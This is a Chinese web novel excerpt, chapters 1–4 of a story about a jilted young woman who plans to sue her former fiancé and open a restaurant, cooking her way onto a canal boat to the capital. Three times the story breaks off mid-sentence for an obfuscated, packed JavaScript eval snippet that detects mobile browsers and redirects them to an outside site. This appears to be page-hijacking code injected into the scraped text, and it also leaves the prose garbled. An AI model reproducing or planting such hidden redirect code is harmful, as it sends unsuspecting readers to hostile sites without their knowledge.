《玲珑小饭馆》 1. 第 1 章 “姑娘，你说……你要告人悔婚？可有凭证？” 金安府的书吏悬停住正要落下去的笔，狐疑地问。 莫玲珑掏出准备好的东西一一展开：“是，我要告他悔婚。至于凭证，这是他与我合婚的庚帖，还有入京赶考后写与我的家信。如果不够，我还有几封。” 书吏凑近了看。 还真没错，一份是男方的庚帖，另一封信里，事无巨细地写了对方入京后的际遇——等等，陆如冈？ 这名儿怎么好像在哪听过。 书吏皱眉想了一会儿，目光无意识地扫过门外挤在照壁前看告示的人群，猛然又扫回去。 那里有张皇榜，是金科一甲进士的名单。 陆如冈，不就是金科探花嘛！ “这，这悔婚的陆如冈，可是外边皇榜上那个探花陆如冈？” “是。” 按他派回来退婚的老仆所说，是同一个人。 “谁悔婚？” “金科探花！” 后边的百姓听见这么炸裂的词，骚动起来。 书吏看看书信上的落款，对这事终于信了七八分，可这不明摆着该归上京管吗？ 对方人又不在此地！ “姑娘，你这该去京城告啊。”书吏一边记录情况，一边摇头，心里已经替这姑娘惋惜起来。 不说路这么远，来回一趟花费甚糜，且听这姑娘说自己父母俱亡，她没人帮衬，怎么告得赢这会儿已经是官身的探花郎？ 还不如就当吃点哑巴亏……赶紧托了媒人物色其他郎君算了！ 莫玲珑正等这句话呢，笑吟吟地说：“那劳烦大人记下这桩诉请，另外，我要是去京城，该去哪个衙门告？” 书吏：“……” 有一种甩锅没甩出去的窝囊感。 碍于后面许多百姓抻着脖子看热闹，他还是把上告的流程简单口述了一遍。 “多谢。”莫玲珑心里有了数，谢过书吏，从府衙出来。 她离开后，衙门里一下子喧哗声起，众人你一言我一语地议论起来。 其中有听说过这桩传闻的，此时便添油加醋： “我知道我知道！城东卖杂货的莫家，供陆探花苦读三年，说是准备招赘来给自家继承香火的。” “哪晓得这小子金榜题名以后，遣了家仆回来，说是婚事作罢，退回庚帖，请莫小娘子另寻佳婿，等今后另找机会登门赔礼道歉。” “咦……这不是白眼狼嘛！供他读三年书得花多少银子？再说人家小娘子年岁等得起？” “可不就是？！莫娘子今年都18了！” “可我觉着，会不会是莫家自己居心不良？看人家青年才俊想笼络来当现成儿子，没成想人家出息了要跑？” “……甭管怎么样，悔婚总不好吧！” “可莫娘子要是真把探花郎告了，岂不是断送人家十八年寒窗苦读搏来的前程？咱大安律法规定，悔婚者不许参加科举啊！真是好狠的心呐……” “……” 七嘴八舌的议论声，隔着老远还能听到。 出了衙门，莫玲珑身后的丫鬟林巧往左右两边看了看，小心翼翼上前将幕篱戴到她头上，忧心地说：“姑娘，你别放在心上。” “不用戴这个。”莫玲珑取下幕篱，眸光平静地看着她，“以后都不用戴。” 她还要开店迎客做生意，抛头露脸又不丢人。 林巧怔然地看着她。 她服侍莫玲珑七八年，见过他们彼此海誓山盟，蜜里调油。 也见过她日日牵挂未婚夫的模样。 若不然怎么会听到那老仆带回的退婚口信，就一时想不开悬梁了呢？ 可醒过来后，自家姑娘就像变了个人，好像把心里的人给抹去了一般。 真的……怪不适应的。 莫玲珑自然不知道林巧所想，她心里盘算着去京城的准备。 再见渣男可不是为了得到一个当面的结束，她想拿回银子。 刚才衙门的人有一点没说错，陆如冈去京城考试前的三年，都是莫家供养。 吃住不提，老师的束脩和进京的盘缠，都是她家卖杂货攒出来的。 说一句掏空了家底供他读书，也不为过。 他安排人来退婚，却只字不提这笔银钱，含含糊糊地只说“今后登门谢罪”。 谁知道这“今后”，是何时？ 算不算利息？ 穿过来三天，莫玲珑把原身的处境分析了一遍。 无论是为了出这口恶气，还是为了今后的生活，这笔钱，是无论如何都得要回来的。 不是以后，而是尽快。 男人主动提分手，大部分情况下是因为——他有了新的鱼。 在陆如冈高中探花，人生达到高峰的情况下，那就非常简单了。 他大概是被榜下捉婿了呀。 所以，这钱得尽快要。 等他成了别人的丈夫，这钱岂不是得让女方用嫁妆给？ 她可不要！ 林巧想了会儿，不解而困惑地说：“可是姑娘，刚才那些人说，要是真告了陆郎君，他的前途可就全毁了。姑娘，你以前不是说，为了陆郎君的前途，你什么都愿意么……” “你也说了，那是以前。” 莫玲珑冷笑道，“他明知道悔婚的代价还要这么做，一是吃准了我没靠山，只能打落牙齿和血吞，二是悔婚之后的好处大得惊人。这样恃强凌弱，精于算计的人，根本不堪为国家栋梁，为百姓做事，所以，我看他还是别当官的好！” 与此同时，金安府衙知府的值房里。 一只瘦削有力的手将记录着这桩案情的状纸按到桌上，手背上青筋微微凸起，似笑非笑：“探花悔婚？这样的人，不堪为我大安朝肱骨啊。” 这话明明语气平淡，可知府听着瘆得慌，他擦着额头凭空冒出来的汗，心里悔死了，表情像被纸糊住一样：“实情还不知呢，巡按大人。” 他后悔啊。 外间有点吵，这不正常得很么？ 他怎么就管不住自己的嘴，非要问外面吵什么？ 这下可好，沾上这桩麻烦案子。 皇上才钦点的三甲，正热乎呢，说不准这探花郎已经被哪个上峰给捉了婿。 明年又要京察了。 他这不是给自己找堵嘛？ 也不知道捅了这位巡按大人什么忌讳。 这段时间，就算查到乡民私自填土为田没交税，他也只是点头记下，没当场发作什么。 今儿居然说人家探花郎不堪为官，那语气听着森然，叫人不寒而栗。 知府大人心里本还心存庆幸，过几日就能波澜不惊地送走这尊瘟神。 如此一来，怕是平静不了了。 男人勾了下薄唇，笑意疏淡：“贺某没记错的话，刘知府上次考核相当不错，‘器度端凝，才思敏练。查盘欺隐之弊悉清，赋税完纳八成，民生教化有方’，乡民有如此大怨，想必大人不会阻截上报到都察院吧？” 怎么连自己的考评都倒背如流！ 这个考评，是他里外里花了两千两银子打点出来的。 该不会连这都查出来了吧？ 知府冷汗冒得更多了，哆嗦着擦了擦额头：“自然不敢，自然不敢。” “差人把诉状誊抄一份，我带一份回京。” 贺琛说完，唤了书吏进来当面另抄一份，折好收拢在袖中，转身离开值房。 空气中还残留着墨香，知府浑身瘫软，汗出如浆：“瘟神啊，瘟神……” 出了门，贺琛身后小厮翻了个白眼：“瞧那知府脑满肠肥的样子，要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716585|173738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是主子你不提，那封诉状肯定不了了之，我看他就是个庸官！” “慎言。” “可是主子，你为什么单拿这桩案子做文章？是不是那新科探花真有问题？” 贺琛不答。 目光平视前方，神色淡而不明，只有手背微鼓的青筋，暴露他此刻压抑至极的情绪。 新科探花有无问题他不知。 只是—— 抛弃前盟，见利忘义，不知廉耻，每一样都是他心底一触即溃的禁区。 另一边，莫玲珑回到了城东的家。 “莫娘子回来啦！” 还未走到门前，便有牙婆迎上来。 对方飞快上下打量了她一番，捧着笑脸说，“上回小娘子说，想典了你家杂货铺子，老身一直记挂在心上，这不，有人诚心想买城东的铺子开店，我就想到你了。” 做牙行生意的，消息最是灵通。 她当然知晓莫家被退婚后，莫玲珑一时想不开上吊的事。 可她想着，万一呢？ 万一莫娘子觉得丢脸，依然想着典了房子，另买别处住呢？ 于是她跟着说，“上回你说想另寻一处宅子，我手里也正好有，价钱公道……” “有劳。”莫玲珑笑笑，礼貌打断了牙婆：“只是不好意思，我这铺子不典了，也不要其他宅子。” 牙婆一愣，随即压低了声音：“莫娘子，老婆子见过的事多，你听我说，换个地方住好！赶紧再让媒人张罗，等你成了亲，这事就算过去了……” 瞧瞧，就这么一会儿功夫，街坊四邻都往这儿看，嘴里还不知道嚼着什么呢！ 她一个父母俱亡的孤女，亲族也不在此地，怎么支应得了门庭？ 还是尽早嫁人才好嘛。 “谢谢，不过我现在改主意不换宅子了。”莫玲珑示意林巧开门，轻轻一步拦在牙婆面前，客气而疏离地说，“回头等我铺子要伙计的时候，定来找您。” 说完，门关上了。 牙婆吃了闭门羹，看着四邻打探的视线，嘟哝道：“还用伙计打发我？这种铺子用得着伙计嘛！” 门内，林巧又糊涂了：“可是姑娘，你之前不是说……” 怕人嚼舌根，没脸继续在这里住下去吗？ 莫玲珑知道，原身本来想着，自己要做官家夫人了，不好再抛头露面。 便去牙行准备把店铺典了，等拿到钱之后，另赁一处环境幽静的宅子，也好风光出嫁。 但人算不如天算，她万没想到，陆如冈上岸第一剑，先斩她这个意中人。 “铺子继续开。等以后……店里生意好起来，是该再雇伙计。现在重要的是筹钱。” 莫玲珑推开铺子前门，看街上游人如织。 城东是金安城里最热闹繁华的地段。 莫家的铺子正是这地段中的核心板块，前店后宅，上下两层。 在这种地方开店，哪怕只是卖点针头线脑都赚钱。 用来开饭馆不要太好啊！ 穿过来这几天，莫玲珑旁敲侧击地从林巧口中打探到这里的人工和物价水平后，大致估算了一下重新装修铺子，加上厨房的投入，估摸着要花一百五十两银子。 在这壮丁平均月薪不过二两的世界，实在是一笔巨款。 莫家积蓄不多，唯有从陆如冈手里，把他榨去的油水，再统统要回来才够。 命运让她从这具同名同姓的身体里醒过来重活一世，她就要替她好好活！ 先从回斩渣男开始。 一旁的林巧听糊涂了，她家姑娘是不是魔怔了，就这杂货铺还雇什么伙计？ 莫玲珑眼睛透着明亮的神采，分外动人：“林巧，我要去趟上京，你守着铺子等我回来。” 林巧呆住：“……” 真去上京？！ 2. 第 2 章 莫玲珑穿来后，一直注意着林巧对自己言行的反应。 比如此时，林巧的大惊失色，至少说明此时单身女子不方便独自出远门。 但她不能带林巧一起去。 除了要讨回被渣前男友卷走的家产，她还得给自己重操上辈子的旧业留点空间，做点铺垫。 毕竟，原主被爹娘养得娇，平日里很少下厨。 见林巧不解，她解释道：“既然我不同他做夫妻了，那他就是外人，这些年在莫家花用的银钱，当然得好好跟他算。我也不是那种吃了亏往肚里咽的人，所以，上京是必须得去的。” “我不知道去一趟得多久，但你知道，家里没多少银子了，带上你多一分开销，少一分收入。所以，你留在这里好好守着铺子的生意等我回来，好么？” “……好。” 谈到银钱短缺，林巧下意识就应了，但很快又把头摇得像拨浪鼓一样，“可是姑娘，你一个人去那么远面怎么行呢？就算漕船公道，可万一碰到坏人怎么办！” 顺着她的话，莫玲珑说：“所以，你去码头帮我留意着，有大户人家带护卫的女眷，或者官老爷搭船的话，我就坐同一趟。” 此处得感谢渣前男友，这些坐船远行的门道，还是他说给她听的。 只要不露财不露色，紧跟大队人马，人身安全应该无虞。 如今拿来说服林巧刚刚好。 她死过一次，惜命如金，但不会因为怕事，就困于当下。 林巧在莫家看店多年，很会跟人打交道。 给码头的人塞了点家家用得上的针头线脑，第二天便打听到次日有个官爷要从金陵去上京，已订了一间二等舱房。 她眼睛一亮，当下便按莫玲珑说的，立刻付银钱也订了一间。 莫玲珑也没闲着。 趁林巧出门蹲守这两天，准备些路上的吃食。 按前男友所说的，北上这段水路，得要走十几天。 漕船上有灶台，可以做点简单的吃食。 她一个人在外，尽量少出舱房，所以除了备主食原材和调料，还要备点干粮和容易存放的干货。 眼下还未到雨季，路上这点时间，东西能存得住。 她在街上转了转，试吃后买了几样。 被林巧夸上天的刘家吊炉烧饼，刚出炉十分香酥可口，只是放凉后会有些坚硬拉嗓。 莫玲珑一捏，发现这面粉实在，筋性很高，就多买了几个。 仙美记的酱菜，也选了几样。 宝塔菜脆口，豆腐乳入口绵密，原料都是一等好的，只是调味略显单一。 梁婆婆家的肉干，硬度和干度都恰到好处，闻起来干净朴素，嚼在嘴里能品出肉的原香。 路上用来增加蛋白质，缺点就是不便宜，半斤就要百来文。 看来，在城东街头能叫人记住，都有几把刷子。 莫玲珑又买了些红薯，南瓜和胡萝卜。 这些菜贱价，她买回来准备在灶上先蒸后烤做成蔬果干。 重头戏落在一张铁丝网上。 这张网，还是前两天她拉着林巧盘库存时找出来的。 几年前一个客人付了银钱定制，莫爹怕做不好，当时找铁匠做了两种。 如今，倒是方便了莫玲珑。 ——这妥妥就是张货真价实的烤网嘛！ 她将灶里的炉灰掏干净，将网架在炉膛中间，底下点起炭——便成了个简易的窑。 蒸熟后的红薯、南瓜和胡萝卜，依次搁在铁丝网上。 它们慢慢失去水分，在炭火的炙烤下，散发出自身糖分美拉德反应后动人的香气。 虽然最好还是放在太阳下晒。 但眼下时间紧迫，烘烤的成品也会带些独特熏烤风味。 一边烤着，莫玲珑手上也没闲着。 她用从刘家烧饼铺买的散面粉，揉了个大面团，然后在干净的井水里耐心地洗出面筋。 洗出来的面筋晚上做菜，剩下沉淀在盆里的那层细白的粉，就是她需要的淀粉。 莫玲珑按经验粗略配出了一份低筋面粉。 她准备做点饼干带在路上吃，嘴淡的时候，调节调节口味。 眼下材料短缺，她就地取材来做。 摘了点后院的香葱，弃掉葱白不用，用猪油，糖和鸡蛋混合刚得的低筋面粉做成底胚，最后把葱花拌进去。 等烤完瓜果干，她刚好捏完饼干的形状，轻轻地一块块转移到预热好的烤网上。 炉子烤过的温度刚好合适，封上炉头的铁片后，很快，那种跨越甜咸边界的香味挣脱束缚，扑面而来。 这是简化版的葱油曲奇饼干，姑且称为葱油松饼吧。 它的神奇之处便是，明明捆绑着咸鲜印象的葱味，当裹挟着猪油和麦粉在高温下产生的甜香，便有了一种奇妙的丰富口感。 火光透过铁片缝隙，在莫玲珑眼中跳跃。 她安静地听着饼胚在烘烤下发出迷人的松裂声，那是面粉在高温下慢慢熟成的细节。 一时有些恍然。 眼前仿佛是前一世，她耐心调整方子，给奶奶烤低糖低油版的“万年青”饼干。 奶奶，这个饼我烤过很多次，真的烤得很好了。 上辈子最后时刻，ICU惨白的灯光慢慢暗下去的时候，以为你会来接我。 可没想到，睁开眼却到了这里。 一定是你舍不得囡囡这么快与你重逢，求了满天神佛让我再活一世，是不是？ 你看着吧，看囡囡好好地活。 香味到达临界点，莫玲珑打开炉口，将烤网小心移出。 虽然关着杂货铺的店门和后门，但香味挡不住，还是引起了隔壁的注意，后院巷子里三三两两聚起人： “谁家做好吃的呢？这味儿我没闻过，香啊！” “不像菜，倒像是什么点心，甜不甜，咸不咸的，哪儿卖这种点心，我一定买来尝尝！” “咱这一片没有吃食店啊，好像是莫家？” “不可能，我看着林巧挎着个篮子出去了。” 这些声音依稀而零碎地传来，但莫玲珑全没听见。 她专注地将饼干从烤网上摘下，放在笸箩里冷却。 顺手又把早晨在街上买的小虾米洗净了搁上去烘烤——这种小虾没多少肉，吃起来不过瘾，因此价贱，但烤干后碾碎，做菜时添进去，可以提升风味。 然后将油润的五花咸肉和腊肉切成碎丁和片，分别用干箬叶和大米包起——到时候随便一煮就能吃，方便快捷。 莫玲珑不会在吃上委屈自己。 加上漕船中途靠岸，再补充些新鲜蔬果，应该勉强够了。 准备停当后，她收起铁网，将厨房恢复成原样，打开前后窗户散味，然后用扁盒装起葱油松饼。 不多时，林巧回来了。 她办成了差事，又一路快走回来，脸上带着薄薄的红气，一进门喜形于色：“姑娘，订好了订好了，明天那趟去上京的船，有个京官儿的夫人订了间舱房，我特意给你买了同一趟的！” 还是塞了点儿孝敬订到的！ 她为自己的机灵一脸得意，“到时候，姑娘你只要不出舱房的门，就安全得很呐！听码头的人说，这夫人还带了护卫，知府大人特地关照要行得稳当，不许出半点差错。” “好。你可真能干！” 莫玲珑不吝夸奖，倒让林巧别扭起来：“姑娘你也真是的，这算什么能干的！” 说着她耸了耸鼻子，“什么味儿这么香？刚刚胖婶问我是不是家里做好吃的了，我还寻思什么好吃的，乖乖，真香！” 莫玲珑收拾的吃食足有一个包袱大，肯定是避不过她眼的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716586|173738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当下便指着摊在灶上的各色干果，酥饼：“大概是我今天买的饼吧。” 捻了一块葱油松饼塞进林巧嘴里，“尝尝好不好吃？” 松饼入口即化，扑鼻的浓香恨不得让人连舌头都一块儿咽下去。 林巧还没品出咸甜交织得恰到好处的滋味，已经下了肚。 小丫头馋虫被勾起，也没顾上问她家姑娘这么些吃食准备来干嘛，语无伦次地说：“可算知道猪八戒偷吃人参果怎么回事了，我还没尝出味就没了！姑娘你在哪买的，我怎么从来没吃过？” 莫玲珑又塞了一块，搪塞道：“街上买的。” 这回林巧细品出了酥香化渣，葱香扑鼻，咸甜可口的好滋味，好吃得让她想哭：“太好吃了，真的太好吃了！” 林巧的脸部表情，生动得像后世的二次元女孩。 做饭的人，最喜欢的便是林巧这种真诚夸赞，一点不扭捏拿肚子装美食的食客，就好比媚眼抛给情投意合的人儿，一分不落能接住。 莫玲珑喜欢这样的表达，笑着说：“好，下回让你吃个够。” 除了葱油松饼，还有各种甜咸酥饼，夹馅烙饼……换着花样做。 林巧腹诽，她有月钱，不用姑娘付，她自己也能买。 但莫玲珑走后，她日日翘首看着店门前挎篮子卖货的大婶小娘子，却一次也没遇见这让她做梦都馋哭的饼子。当然这是后话了。 其他的换洗衣服和杂物，林巧给她收拾妥当，东西实在不少，次日便赁了辆驴车去漕船码头。 两人肩上各背着个大包袱，很难不被注意。 隔壁的街坊邻居纷纷探头出来，交头接耳，便有人出声：“莫家小娘子，这是要出远门呐？” 林巧拉着莫玲珑的手紧了紧。 陆如冈退婚，她家姑娘本就伤心得很，加上四邻的闲言碎语不断，这才一时想不通上了吊。 胖婶这么问，她会不会又……？ 林巧怯怯地侧过脸看过去。 莫玲珑拍拍她的手，示意让她安心，站在车前福了福：“劳胖婶记挂，我要去一趟上京，家里的铺子和林巧拜托大家关照了。” “哦。” “去上京啊……” “放心吧啊！” 众人见两人就要上车，也不好意思继续问她去上京作甚。 直到马车嘚嘚地离开，才回过味来：没听莫家说有亲戚在上京，这是去干嘛？难不成要找那负心郎？ 车上，林巧目不转睛看着自家姑娘。 那种陌生的感觉又来了。 自从上次想不开之后，她整个人就变了。 谈起陆郎君不再有什么表情，爱慕和伤心都变得很淡很淡。 那种感觉怎么说呢，就像芯子里换了个人一样。 “你是不是在想，我怎么跟以前不一样，还跟街坊打招呼？”莫玲珑问。 原主做了三年官夫人的美梦。 自认为今后必与市井小民不同，她红袖添香，灯下描眉，却不会掌管家里的生意，人情往来。 林巧被道破心思，不好意思地点了点头。 莫玲珑：“我只是想通了，日子还得继续，不能因为被狗咬了，就怕出门。” 林巧噗嗤一声笑出来。 又在心里把话咂摸了两遍，只觉她家姑娘现在这样子，真是说不出的好。 说话间，驴车到了码头。 临到分别，小丫头才真切地意识到，这一趟两人要分开很长时间。 顿时心底涌起强烈的不舍，站在码头上，拉着莫玲珑哭。 莫玲珑哄完孩子，转身踏上甲板，看着远处滔滔江水，松了口气。 ……好悬，差点露了馅！ 她看着手里刻了房号的竹牌，顺着找到自己的舱房，刚好看到隔壁那间门口，一段窄腰长腿的身影闪过，门随即关上。 3. 第 3 章 虽然只是匆匆一瞥，连侧脸都没看见，但这份风度让人相信，那一定是个英俊的男人。 莫玲珑收回目光，用竹牌上挂着的钥匙，打开了房门。 也不知是不是因为有官夫人在船上的原因，这条漕船舱房条件不错，被褥干净整洁，没什么异味。 但莫玲珑还是拿出林巧给她备好的垫单铺了上去，再把口杯和日用具拿出来摆上，便换衣服躺下，补个眠。 一觉睡到自然醒，她才悠悠醒过来。 真舒服啊。 船顺着江水轻轻摇晃，就像睡摇篮一样。 但走起来，却不那么稳当。 莫玲珑拿起房里的茶壶，去船舱尽头一直拿炭温着的铜壶添水，怕洒到身上，只添了一半。 慢悠悠转了一圈，从自己房门出去十米远，那船舱的尽头竟然有着视野极为宽阔的观景平台，望出去风光迷人。 ——这跟游轮有什么差别？！ 真要细细地比，这原生态，360广角无敌运河景观，比那海上除了海平面，白云和海鸥，其他没得见的景，还要好多了！ 莫玲珑有了兴致，走快几步回房搁下茶壶，投了点茶叶进去，又带上几块红薯干和葱油松饼。 就着这滔滔江水美景，下午茶喝起来！ 林巧买的茶叶普普通通，但配上丰腴的葱油松饼吃，莫名压下了那股子涩，回甘香醇。 加上眼前的美景怡人。 生生拔高了这点零嘴的格调。 上辈子在黄浦江边上喝588一位的下午茶，也就这番享受了。 莫玲珑美滋滋地吃完了两块，顺手又拿起红薯干来吃。 嗯，烤的虽然不如三蒸三晒的，但相当软糯香甜，还带点炭烤香气。 别有风味。 此时船已行出近两个时辰，舱房里的客人渐渐出来透气。 于是，甲板上人多了起来。 人一多就差点儿意思了，莫玲珑收起零嘴茶壶便要回房。 却见自己身后，不知什么时候多了条小尾巴。 一个可能刚学会走路的孩子，身上衣料不俗，他的小短手扶着船侧，巴登巴登看着她，肉嘟嘟的脸颊上，从嘴角边挂下来一道口水。 看起来是个富贵人家的孩子。 孩子身后跟着个嬷嬷，耐心地弯腰哄着：“二少爷，咱们回去吧？” 但孩子只顾摇头，一双大大的眼睛盯着她手上的小竹盘，伸手朝莫玲珑用力指着。 那意思很明确：他要吃。 嬷嬷看懂了孩子的意思，看向莫玲珑手中的盘子，那上面只剩下一块饼，闻起来的确怪香的，不禁开口商量：“姑娘，你这点心可以卖给我吗？” 莫玲珑没养过孩子，但她上辈子开饭店，请营养师帮忙做过针对不同月龄孩子的辅食菜单，供带孩子来的女客挑选。 于是她问：“他多大了？这饼用了油糖和葱，未必合适他吃。” 嬷嬷显然没想到，不过是个吃食罢了，只要酥软易食就行，还需知道孩子多大？ 府里规矩甚严，下人不可对外乱嚼主子的私事，月份也不敢说。 于是她讳莫如深地别过脸，转而继续哄孩子。 奈何这小小的孩子，说不出一句囫囵话，但倔劲大得很，用嗷嗷的婴语跟嬷嬷对峙，就是不肯回去。 “夫人，小少爷在那呢！一定是不肯吃饭跑出来，李嬷嬷愁得一点儿办法都没有！” 一身浅黄的婢女，手扶着旁侧气度雍容的夫人，伶伶俐俐地笑着，“咦，瞧小少爷那样，像是赖上那位姑娘了。” 范氏知道自己儿子的脾气，要是看到什么想要的，一点不肯撒手，于是皱着眉走快了两步：“去看看。” 一问得知，她的宝贝儿子，看上了这位姑娘的一块饼。 看着他“穷凶极恶”，馋涎欲滴的眼神，这可真是…… 范氏瞥了眼，没看出这饼有什么特别，但还是无奈问道：“姑娘，能把这块饼给我吗？” 她微微示意，身旁的婢女已经了然，递过去一个小荷包。 看这位夫人衣着虽然素淡，但用料都好。 该不会，就是林巧说的那位夫人吧？ 莫玲珑心里微动，推回荷包，将饼碟递给贵妇身旁的婢女：“只是一块饼而已。我刚问这位嬷嬷孩子多大，是因为这饼用了猪油和青葱，若是孩子太小，脾胃不好消化。” 最严重的是过敏，但显然这会儿没这概念。 “那我就不客气了。”范氏见她虽然穿着朴素，但落落大方，心有好感，也便坦然，“难为你一个姑娘家这么细心，瑞儿两岁，猪油做的点心和青葱一贯都吃得。” 孩子一把抓起饼，瞪着溜圆的眼睛一口咬下。 几人看着孩子短短的眉毛弯起，一双本就黑葡萄样的眼睛一下子点亮，啃的速度也跟着加快，口水滴落都不让人擦——显然是喜欢极了。 范氏松了口气，觉得眼前的姑娘越发顺眼：“不瞒姑娘，他近几日胃口欠奉，像这样吃东西，真是……好久没有了。” 莫玲珑也欣慰。 作为厨子，最高兴的事就是手艺得赏识。 这样短缺原料配出来的方子，也如此捧场，还是个不会说话，只会一味嗷嗷吃的孩子。 她一高兴，回房把带来的饼干匀出一小半，用干净的碟子盛了拿给范氏的婢女。 上辈子，她经常干这种事。 “既然小公子喜欢，那就多拿点！” 范氏硬要给银子，莫玲珑推拒不过，只好说：“这是我自己做的，真没花什么钱。” 李嬷嬷怀里的孩子像是也要帮她一样，一脸馋相，张牙舞爪地往婢女怀里的饼扑过来。 范氏皱眉，嫌推来推去难看，摆手让人收回：“这多不好意思。” 她看着莫玲珑明朗的笑容，心里一动，“姑娘家里经营饭馆吗，叫什么？改日去捧场。” 这可以有。 莫玲珑笑容真诚：“玲珑小馆。” 她很喜欢自己的名字。 她爸没有文化，听奶奶说这名字是他实在没办法翻字典取的——觉得女孩儿叫玲珑，显得机灵。 后来，这份机灵劲没体现在其他地方，倒是淋漓尽致地展现在了动手能力上。 也算是符合了期待。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716587|173738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 范氏记下了她的名字，表示自己一定找机会去拜访用饭。 莫玲珑真心谢她赏识，和这份帮衬生意的态度，便福了福身：“谢过夫人，饭馆还在翻修，许要半年才得开张呢。” 原身为了做好官夫人，这些社交礼仪学了三年。 如今做起来，倒也像模像样。 虽然饭馆还没影，但宣传不嫌早。 再说这位夫人此行去的是上京，也不会那么快把消息传回金安。 甚至有这半年作为等待期，到时候店真开了，才叫“千呼万唤始出来”呢。 笑眯眯目送主仆母子一行人去观景甲板，莫玲珑转身回了房。 隔壁的房门这时打开，从里出来个年轻小厮，手里捧着茶壶。 青翠认出人，低声在范氏耳边小声说了句：“夫人，你瞧那是巡按使贺郎君的小厮。” 也不知为何，自家夫君对这位贺琛深为赏识。 虽然看他样貌得体，听闻春闱提出的观点震撼人心，令人难忘。 但……毕竟只是个刚入官场，没甚根基的年轻人。 范氏看不明白官场上的事。 但身为沈府尹的夫人，知道他在同一艘船上，总要有所表示。 万一如自家夫君说的，此子将来有大作为。 她作为沈家主母，自当为夫君打点这些人情往来。 于是沉吟片刻，让婢女去房里取点茶叶果点送去。 “等等，刚刚那位莫姑娘给瑞儿的葱油松饼，也送几块过去，请他尝个鲜儿。” “是！”婢女青翠应下去办。 阿竹得了许多吃食，谢过后喜不自胜地回房：“主子，你瞧这些！比船上供的船食强多了！” 他一边笑，一边嘟嘟囔囔，“都怪那知府，缠得人不得空去买干粮……主子你先吃，等靠下一站码头，阿竹再去买些新鲜的上来，暂时，咱就拿这些垫垫肚子？” 贺琛挺直的脊背微顿，正要落下去的笔悬停：“何人所赠？” “哎呀……” 阿竹给他倒茶，语气颇为幽怨，“刚我去寻热水，碰着京兆府尹沈大人的夫人和婢女，沈夫人给的。主子你就放心吃吧！我是那种随便拿人吃食不懂事的人么……” 贺琛主仆俩为了躲知府的眼线，空着手和肚上得船。 他写了半天此次巡防的审查提报，已经有些饿了。 茶香随着热气氤氲开来，让人格外肚饥。 他扫了眼琳琅满目的吃食，视线落在点缀着葱花的饼子上。 跟其他造型别致，考究精致的糕点比，这款最为朴实。 贺琛净了手，拿起一块放进口中。 还未抿，一瞬间香酥满口，一种难以言喻的醇厚咸香滋味直抵五脏六腑，抚平了饥饿。 阿竹一回头，看自家一向不重口腹之欲的主子，放下了纸笔，认真地像在琢磨政事一样，开始吃第二块饼子。 呀，这么好吃？ 阿竹搔搔头，寻思自己该找青翠问问这是哪家铺子做的，他好买了备着—— 能省不少事呐，晚上他家主子就不用吃他煮的夹生面当宵夜了呗！ 4. 第 4 章 第二日青翠听阿竹这么一问，不可思议地问：“真这么好吃？” “姐姐没尝过吗？”阿竹奇道，“我见我家大人独独爱吃这葱饼，都给他留着呢。” “那叫葱油松饼。”青翠噗嗤一笑，“我们也都没尝，给我家少爷留着呢。好叫你知道，那饼是一家叫玲珑小馆的招牌点心。” 有自家叼嘴小少爷的肯定，在青翠心里，这款饼自然当得“招牌”二字。 此时，尚不知道自己随手做的阉割版万年青饼干已经被提格为招牌点心的莫玲珑，换下了外裳，舒舒服服歪在床头开始看话本。 再啃两块红薯干和肉干，就算完成基础热量和蛋白质摄入了。 如此，白天时不时出去溜达看景，观察船上众生百态，增加她在这个世界的认识，终于在第六日抵达了第一个停靠点，潞安府码头。 干粮做得再可口，连吃几天也吃腻了。 莫玲珑便随着人潮一起下船，去买些肉和菜。 她已经考察过船上的公灶，柴火畅用，虽然锅边有洗不干净的陈年老垢，但是蒸架什么的一应俱全——完全可以做蒸饭蒸菜！ 码头两侧，摆满了小摊。 别说新鲜蔬果，鸡鸭鱼肉，连杂耍猴戏都有，见客人下船，摊主纷纷热情招揽。 莫玲珑随意攀谈问了下价格，盐10文一斤，糖则要30文，这两样比金安贵，常见的菜价格持平，苔菜按把卖，合下来不到两文钱一斤，只肉贵得明显些，猪肉每斤30文，牛肉略便宜，也要20文钱。 此地离金安并不远，物价应该差不多，这个价格，多半是码头位置稀缺性导致。 毕竟，船停靠不过小半个时辰，又能走多远？ 莫玲珑挑了些叶菜，又挑了些耐存放的南瓜，卷心菜，胡萝卜，割了块肉，请肉摊的摊主加工成肉片和肉末。 贵有贵的道理，服务溢价呢。 这些东西够她翻花样吃几天的。 看着荷包里剩下不多的银两铜钱，她心疼了一秒钟。 剩下的预算在点心摊头买了几个烧饼，虽然不喜欢吃干粮，但存着会有安全感。 上船，再次碰上了带着孩子看热闹的李嬷嬷，身后还跟着两个护卫。 